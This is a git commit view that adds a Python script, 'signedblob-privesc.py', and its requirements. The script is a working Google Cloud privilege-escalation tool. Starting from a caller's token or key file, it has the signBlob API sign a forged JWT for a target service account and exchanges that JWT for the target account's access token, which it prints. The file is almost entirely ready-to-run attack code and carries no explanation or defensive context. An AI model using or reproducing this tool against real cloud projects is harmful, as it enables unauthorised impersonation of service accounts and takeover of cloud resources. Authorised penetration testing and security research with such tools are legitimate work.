summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorsubh <subh@example.com>2026-02-13 00:40:32 +0530
committersubh <subh@example.com>2026-02-13 00:40:32 +0530
commitd7485dc380f7f2a6709b9faa18d02604be362e9b (patch)
tree338e3eb3b77687643ccfaf17ced9aa1ce585da1e
Initial Commit
-rw-r--r--requirements.txt2
-rw-r--r--signedblob-privesc.py98
2 files changed, 100 insertions, 0 deletions
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..8840a83
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,2 @@
+requests
+google-auth
diff --git a/signedblob-privesc.py b/signedblob-privesc.py
new file mode 100644
index 0000000..aff6428
--- /dev/null
+++ b/signedblob-privesc.py
@@ -0,0 +1,98 @@
+#!/usr/bin/env python3
+
+import base64
+import json
+import argparse
+import requests
+import sys
+from datetime import datetime, timedelta
+from google.oauth2 import service_account
+import google.auth.transport.requests
+
+def b64Encode(data: bytes):
+ return base64.urlsafe_b64encode(data).decode('utf-8')
+
+def createJwt(service_account_email):
+ now = int(datetime.now().timestamp())
+ header = {"alg": "RS256", "typ": "JWT"}
+ payload = {
+ "iss": service_account_email,
+ "scope": "https://www.googleapis.com/auth/cloud-platform",
+ "aud": "https://oauth2.googleapis.com/token",
+ "exp": now + 3600,
+ "iat": now
+ }
+ header_b64 = b64Encode(json.dumps(header).encode())
+ payload_b64 = b64Encode(json.dumps(payload).encode())
+ return f"{header_b64}.{payload_b64}"
+
+def getTokenFromKeyFile(keyfile_path):
+ scopes = ['https://www.googleapis.com/auth/cloud-platform']
+ creds = service_account.Credentials.from_service_account_file(keyfile_path, scopes=scopes)
+ auth_req = google.auth.transport.requests.Request()
+ creds.refresh(auth_req)
+ return creds.token
+
+def executeSignBlob(bearer_token, target_sa):
+ print("[*] Constructing a JWT")
+ unsigned_jwt = createJwt(target_sa)
+
+ print("[*] Getting a signed Blob")
+ sign_url = f"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/{target_sa}:signBlob"
+ headers = {
+ "Authorization": f"Bearer {bearer_token}",
+ "Content-Type": "application/json"
+ }
+
+ data = {"payload": b64Encode(unsigned_jwt.encode())}
+
+ resp = requests.post(sign_url, json=data, headers=headers)
+
+ if resp.status_code != 200:
+ print(f"[!] signBlob failed (Status {resp.status_code}): {resp.text}")
+ return
+
+ signature = resp.json()['signedBlob']
+
+ print(f"[*] Getting Access Token")
+ assertion = f"{unsigned_jwt}.{signature}"
+
+ token_url = "https://oauth2.googleapis.com/token"
+ token_data = {
+ "grant_type": "urn:ietf:params:oauth:grant-type:jwt-bearer",
+ "assertion": assertion
+ }
+
+ token_resp = requests.post(token_url, data=token_data)
+ return token_resp.json()
+
+def main():
+ parser = argparse.ArgumentParser(description="signBlob Privilege Escalation")
+ group = parser.add_mutually_exclusive_group(required=True)
+ group.add_argument("-t", "--token", help="Caller's Access Token string")
+ group.add_argument("-f", "--token-file", help="Path to file containing Access Token")
+ group.add_argument("-k", "--key-file", help="Path to Service Account JSON key file")
+
+ parser.add_argument("-s", "--target", required=True, help="Target Service Account Email")
+ args = parser.parse_args()
+
+ caller_token = None
+ if args.token:
+ caller_token = args.token
+ elif args.token_file:
+ with open(args.token_file, 'r') as f:
+ caller_token = f.read().strip()
+ elif args.key_file:
+ caller_token = getTokenFromKeyFile(args.key_file)
+
+ if not caller_token:
+ print("[!] Could not retrieve a valid caller token.")
+ sys.exit(1)
+
+ result = executeSignBlob(caller_token, args.target)
+ if result:
+ print("[*] Got Token:")
+ print(json.dumps(result, indent=2))
+
+if __name__ == "__main__":
+ main()